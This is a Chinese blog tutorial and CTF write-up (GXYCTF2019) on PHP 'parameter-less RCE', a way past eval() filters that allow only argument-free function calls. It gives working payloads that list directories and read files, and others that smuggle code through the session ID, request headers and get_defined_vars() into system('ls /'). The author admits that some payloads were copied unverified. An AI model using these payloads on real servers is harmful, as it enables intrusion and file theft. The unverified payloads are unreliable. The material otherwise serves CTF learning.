首页 > 其他分享 >无参数RCE

无参数RCE

时间:2024-09-23 10:02:25浏览次数:1  
标签:文件 GET getcwd 参数 数组 RCE array scandir

首先来看情境

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    
    eval($_GET['star']);
}

无参数rce就是限制我们传入的为不含参数的函数.就比如scandir()是允许的,但是scandir('1')就是不允许的.
相关函数介绍

scandir() //返回当前目录构成的数组
localeconv() //一个数组,第一个值为.,很重要
getcwd() //获取当前工作的目录,无需参数
dirname() //获取某文件工作的目录
array_flip() //交换数组的键和值,返回交换后的数组
array_rand() //随机从数组中取出一个值
array_reverse() //将数组内容翻转
strrev() //翻转字符串
chdir() //改变工作目录
eval();assert();system() //命令执行
highlight_file();show_source();readfile() //读文件

在php程序运行时数组内部会有指针,而通过操控这些指针的指向我们可以控制输出的结果.起始的时候指针指向第一个元素.

end() //指向最后一个元素并返回
reset() //指向第一个元素并返回
next() //指向下一个元素并返回
prev() //指向上一个元素并返回
current() //指向当前元素并返回

因此我们可以利用上面的这些函数拼接无参数RCE
比如通过下面的函数查看当前目录.

ls=var_dump(scandir(current(localeconv())));

利用scandir

以GXYCTF2019禁止套娃为例.

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
highlight_file(__FILE__);
?>

我们可以看到对伪协议进行了防护,只允许执行无参数函数,同时通过preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i'限制了一些函数的执行.比如phpinfo(),getcwd()等
最终payload如下

highlight_file(next(array_reverse(scandir(pos(localeconv())))));

解读:scandir(current(localeconv()))就相当于ls命令,查看发现flag文件在倒数第二位,因此我们将数组颠倒,然后查看第二位的文件即可.
存在多个不同构造的paylaod如下(直接扒的别人博客的,没去验证)

highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));  //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位.查看和读取根目录文件

利用http报文

PHPSESSID

我们首先将我们希望执行的命令进行bin2hex转化为16进制,如phpinfo();对应的706870696e666f28293b.
然后我们通过eval(hex2bin(session_id(session_start())));来获取PHPSESSID的值,然后将我们的706870696e666f28293b添加上去即可.
image

注意:这个Cookie在http报文中的位置是有说法的,不能随便放.
然而有的时候,这个hex2bin不能用,比如2被禁用,这个时候我们也可以直接去猜着读flag

readfile(session_id(session_start()));
getallheaders()

这是apache服务器下才能使用的一个函数.可以获得所有的请求头.我们可以在报文最后添加一个请求头,内容为恶意代码,然后传入

var_dump(end(getallheaders()));
get_defined_vars()

相较于上一个函数,这个函数更加的普遍,他会以下列顺序依次的返回数组$_GET-->$_POST-->$_COOKIE-->$_FILES,其中的$_GET等本身也是数组.
在确定有回显的情况下,我们可以通过下列方法去执行命令

a=eval(end(current(get_defined_vars())));&b=system('ls /');

标签:文件,GET,getcwd,参数,数组,RCE,array,scandir
From: https://www.cnblogs.com/meraklbz/p/18426455

相关文章

  • DockerFile参数
    指令描述ADD添加本地或远程文件和目录。ARG使用构建时变量。CMD指定default命令。COPY复制文件和目录。ENTRYPOINT指定默认可执行文件。ENV设置环境变量。EXPOSE描述您的应用程序正在侦听的端口。FROM从基础映像创建新的构建阶段。HEA......
  • Android15音频进阶之新播放器HwAudioSource(八十六)
    简介:CSDN博客专家、《Android系统多媒体进阶实战》一书作者新书发布:《Android系统多媒体进阶实战》......
  • codeforces 1041 C. Coffee Break
    题意第一行输入三个整数\(n,m,d(1\leqn\leq2*10^5,n\leqm\leq10^9,1\leqd\leqn)\),第二行输入\(n\)个整数,保证每个数均不大于\(m\)。在每一天你都可以任意选择一个未选过的数\(a_i\),随后可以继续选任意一个大于\(a_i+d\)的数\(a_j\);接下来可以再选任意......
  • Codeforces Round 974 (Div. 3)
    CodeforcesRound974(Div.3)A-RobinHelps按题目要求一步步计算就行#include<bits/stdc++.h>usingnamespacestd;intn,k;voidsolve(){ cin>>n>>k; intsum=0,num,ans=0; for(inti=1;i<=n;++i){ cin>>num; if(num&g......
  • C10-05-1-Nmap常用参数说明
    一、Nmap免责声明本文仅是个人对该工具的学习测试过程记录,不具有恶意引导意向。本文工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授......
  • Codeforces Round 974 (Div. 3)
    A.RobinHelps模拟即可。B.RobinHoodandtheMajorOak注意到\(i^i\equivi\pmod2\),因此\(\sumi^i\equiv\sumi\pmod2\)。等差数列求和即可。C.RobinHoodinTown二分答案即可。D.RobertHoodandMrsHood枚举区间\([l,l+d-1]\)。此时我们需要快速......
  • 命令模式:如何在一次请求中封装多个参数?
    命令模式使用频率不算太高,这里大家可能会问:命令和查询有什么区别?简单来说,查询是获取一个不可变的结果,而命令是改变状态,不一定获取结果。如果你熟悉函数式编程的话,会发现命令模式完全没有使用的必要,甚至在业务开发的场景中也很少使用到。不过对于想要找到正确抽象的设计者来说,命令......
  • 通过组合使用这些工具,您可以实现灵活的 WIM 备份和恢复方案。每个工具都有其特定功能,
    使用Windows的WIM(WindowsImagingFormat)备份和恢复可以通过命令行工具DISM(DeploymentImagingServiceandManagementTool)来实现。以下是一些常用的WIM备份和恢复命令参数示例:1. 备份(Capture)使用dism命令将系统映像备份为WIM文件:bashCopyCodedism/Cap......
  • 淘宝商品详情数据接口包括哪些参数
    ‌淘宝商品详情数据接口‌的参数主要包括商品ID(num_iid)、是否获取促销价(is_promotion)、返回的字段列表(fields)等。这些参数的选择可以根据开发者的需求灵活调整,以获取所需的商品详情信息。‌商品ID(num_iid)‌:这是淘宝商品详情数据接口的核心参数,用于唯一标识一个淘宝商品。通过......
  • js逆向实战之烯牛数据请求参数加密和返回数据解密
    声明:本篇文章仅用于知识分享实战网址:https://www.xiniudata.com/industry/newest?from=data请求参数加密访问网址,往下翻翻,可以看到触发了如下的数据包,请求参数进行了加密。全局搜索list_industries_by_sort地址,有四处,都位于同一个文件中。随便点一个看看,可以看到有payload......